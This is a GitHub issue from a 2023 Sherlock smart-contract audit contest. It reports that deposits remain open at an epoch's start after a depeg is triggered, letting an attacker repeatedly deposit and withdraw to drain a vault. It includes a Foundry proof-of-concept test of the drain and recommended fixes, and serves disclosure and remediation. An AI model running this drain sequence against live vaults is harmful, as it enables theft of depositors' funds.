You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 1, 2023. It is now read-only.
sherlock-admin opened this issue
Mar 27, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
Attacker can drain all funds from a vault if a depegging event happens prior to any epoch starting
Summary
Attacker is able to drain all the funds from a vault if a depegging event happens prior to any epoch starting.
Vulnerability Detail
An attacker is able to drain all the funds from a vault in the event that a depeg event happens prior to an epoch starting. This includes not only the funds deposited for that epoch, but all funds ever deposited in that vault. This is possible because in the case of a depeg event, on the epoch's epochBegin timestamp, triggerDepeg(..) can be called on the ControllerPeggedAssetV2 contract. During this same timestamp, there is nothing stopping an attacker from depositing arbitrary amounts of funds into that epoch using deposit(..) or depositETH(..). This allows them to take advantage of the ratio between claimTVL and finalTVL, by being able to constantly drain claimTVL/finalTVL from the vault for each token they deposit. In the case that the user does not have the upfront funds to perform this attack, taking a flashloan is trivial.
This is high severity because an attacker has the ability to drain a vault of all funds during an event (depeg prior to epoch start) which is not an edge case, but rather has a decent probability of occurring.
Code Snippet
POC including preliminary state and steps (foundry test):
// SPDX-License-Identifier: MITpragma solidity^0.8.0;
// utilitiesimport {Test} from"forge-std/Test.sol";
import {console} from"forge-std/console.sol";
// project filesimport {TokenMock} from"src/my-tests/TokenMock.sol"; // simple ERC20 token w/ mintingimport {WETH} from"src/my-tests/WETH.sol"; // WETH mockimport {OracleMock} from"src/my-tests/OracleMock.sol"; // mock oracleimport {Carousel} from"src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from"src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from"src/v2/Controllers/ControllerPeggedAssetV2.sol";
contractTestStealDepegEarningsisTest {
// protocol usersaddress admin =makeAddr('admin'); // project adminaddress attacker =makeAddr('attacker'); // attacker addressaddress user1 =makeAddr('user1'); // other user addressesaddress user2 =makeAddr('user2');
address user3 =makeAddr('user3');
WETH weth;
TokenMock emissionsToken;
OracleMock sequencerFeed;
OracleMock priceFeed;
CarouselFactory carouselFactory;
ControllerPeggedAssetV2 controllerPeggedAssetV2;
Carousel premiumVault;
Carousel collateralVault;
uint256 epochId1;
uint256 epochId2;
uint256 marketId;
/// configuring starting state for showing bug/exploitfunction setUp() public {
vm.deal(attacker, 100 ether);
vm.deal(user1,100 ether);
vm.deal(user2,100 ether);
vm.deal(user3,100 ether);
vm.startPrank(admin); // admin setting up starting project state
vm.warp(10_000); // to mock that sequencer is up
weth =newWETH();
emissionsToken =newTokenMock();
emissionsToken.mint(admin,10_000e18); // admin is used as treasury
carouselFactory =newCarouselFactory(
address(weth),admin,admin,address(emissionsToken)
);
emissionsToken.approve(address(carouselFactory),type(uint256).max);
sequencerFeed =newOracleMock();
sequencerFeed.setData(1,0,0,0,1); // sequencer is up
priceFeed =newOracleMock();
priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8
controllerPeggedAssetV2 =newControllerPeggedAssetV2(
address(carouselFactory),address(sequencerFeed),admin
);
carouselFactory.whitelistController(address(controllerPeggedAssetV2));
// creating a new market:
CarouselFactory.CarouselMarketConfigurationCalldata memory config =
CarouselFactory.CarouselMarketConfigurationCalldata({
token: address(1), // arbitrary, just for lookup to oracle
strike: 99e17,
oracle: address(priceFeed),
underlyingAsset: address(weth),
name: "name",
tokenURI: "tokenURI",
controller: address(controllerPeggedAssetV2),
relayerFee: 10000,
depositFee: 250
}
);
(addresspremium, addresscollateral, uint256_marketId) = carouselFactory.createNewCarouselMarket(config);
marketId = _marketId;
premiumVault =Carousel(premium);
collateralVault =Carousel(collateral);
// creating the first two epochs, with the first one beginning and the second one queued:
(epochId1,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+10), // epochBeginuint40(block.timestamp+20), // epochEnd100,1_000e18,1_000e18
);
vm.warp(block.timestamp+10); // epoch 1 has started// 10 timestamp gap between the first epoch and the second epoch
(epochId2,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+20), // epochBeginuint40(block.timestamp+30), // epochEnd100,1_000e18,1_000e18
);
// first epoch resolved with nullEpoch as there are no deposits
controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
vm.stopPrank();
}
/// showcasing the bug/exploitfunction testStealDepegEarnings() public {
// showcasing how users can steal all money from a vault if there is a depeg event// which occurs prior to any epoch starting// user1 deposits funds into the premium vault
vm.prank(user1);
premiumVault.depositETH{value:10e18}(
epochId2,user1
);
// user2 deposits funds into the collateral vault
vm.prank(user2);
collateralVault.depositETH{value:50e18}(
epochId2,user2
);
// the asset has depegged, simulating this by setting the oracle price// the price of the asset is now less than the strike price
priceFeed.setData(1,98e7,0,0,1);
vm.warp(block.timestamp+20); // second epoch has started// create the third epoch - done to show that attacker can steal all vault funds, including deposits for future epochs
vm.prank(admin);
(uint256epochId3,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+20), // epochBeginuint40(block.timestamp+30), // epochEnd100,1_000e18,1_000e18
);
// user3 deposits funds into the premium vault for epoch 3
vm.prank(user3);
premiumVault.depositETH{value:50e18}(
epochId3,user3
);
// as soon as the epoch started, depeg event triggered
controllerPeggedAssetV2.triggerDepeg(marketId,epochId2);
// attacker who is watching from the sidelines can swoop in and steal all earnings from premiumVault// before user1 can withdraw earningsuint256 depositAmount =uint256(10e18)*1000/975; // exact deposit amount to get 10e18 epochId=2 tokens
vm.prank(attacker);
premiumVault.depositETH{value:depositAmount}(
epochId2,attacker
);
vm.prank(attacker);
premiumVault.withdraw( // attacker drains the vault of all earnings from epoch 2
epochId2,10e18,attacker,attacker
);
assertEq(weth.balanceOf(attacker),premiumVault.claimTVL(epochId2));
// attacker is not only able to drain funds from an individual epoch, but can use this attack path to drain the entire vault of all funds// showcasing here how the attacker can drain funds including those deposited by user3 to the unstarted epoch 3 vault
vm.prank(attacker);
premiumVault.depositETH{value:depositAmount}(
epochId2,attacker
);
vm.prank(attacker);
premiumVault.withdraw( // attacker drains the vault of more funds, including user3 deposits
epochId2,10e18,attacker,attacker
);
assertEq(weth.balanceOf(attacker),premiumVault.claimTVL(epochId2)*2); // attacker steals more funds// in practice all these calls would be included in a single transaction and would exactly calculate what to deposit/withdraw // to drain all funds. assuming user does not have enough funds onhand, flashloans can be easily used here
}
}
Tool used
Manual Review
Recommendation
The easiest way to mitigate this attack is to add a modifier to the deposit(..) and depositETH(..) functions which check that the epoch has not ended:
modifier epochHasNotEnded(uint256id) {
if (epochResolved[id]) revertEpochResolved(); // add this new error too_;
}
However, there is also a fundamental issue wrt. the fact that the epochHasNotStarted and epochHasStarted modifiers both return True when the timestamp is equal to epochBegin, which breaks a fundamental invariant (this should not be a valid state). To resolve this issue you can also update the epochHasNotStarted modifier as follows:
modifier epochHasNotStarted(uint256_id) {
if (block.timestamp>= epochConfig[_id].epochBegin) revertEpochAlreadyStarted();
_;
}
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
toshii
high
Attacker can drain all funds from a vault if a depegging event happens prior to any epoch starting
Summary
Attacker is able to drain all the funds from a vault if a depegging event happens prior to any epoch starting.
Vulnerability Detail
An attacker is able to drain all the funds from a vault in the event that a depeg event happens prior to an epoch starting. This includes not only the funds deposited for that epoch, but all funds ever deposited in that vault. This is possible because in the case of a depeg event, on the epoch's
epochBegin
timestamp,triggerDepeg(..)
can be called on theControllerPeggedAssetV2
contract. During this same timestamp, there is nothing stopping an attacker from depositing arbitrary amounts of funds into that epoch usingdeposit(..)
ordepositETH(..)
. This allows them to take advantage of the ratio betweenclaimTVL
andfinalTVL
, by being able to constantly drainclaimTVL/finalTVL
from the vault for each token they deposit. In the case that the user does not have the upfront funds to perform this attack, taking a flashloan is trivial.Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L432
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L86
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L107
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Controllers/ControllerPeggedAssetV2.sol#L71
Impact
This is high severity because an attacker has the ability to drain a vault of all funds during an event (depeg prior to epoch start) which is not an edge case, but rather has a decent probability of occurring.
Code Snippet
POC including preliminary state and steps (foundry test):
Tool used
Manual Review
Recommendation
The easiest way to mitigate this attack is to add a modifier to the
deposit(..)
anddepositETH(..)
functions which check that the epoch has not ended:However, there is also a fundamental issue wrt. the fact that the
epochHasNotStarted
andepochHasStarted
modifiers both return True when the timestamp is equal toepochBegin
, which breaks a fundamental invariant (this should not be a valid state). To resolve this issue you can also update theepochHasNotStarted
modifier as follows:Duplicate of #480
The text was updated successfully, but these errors were encountered: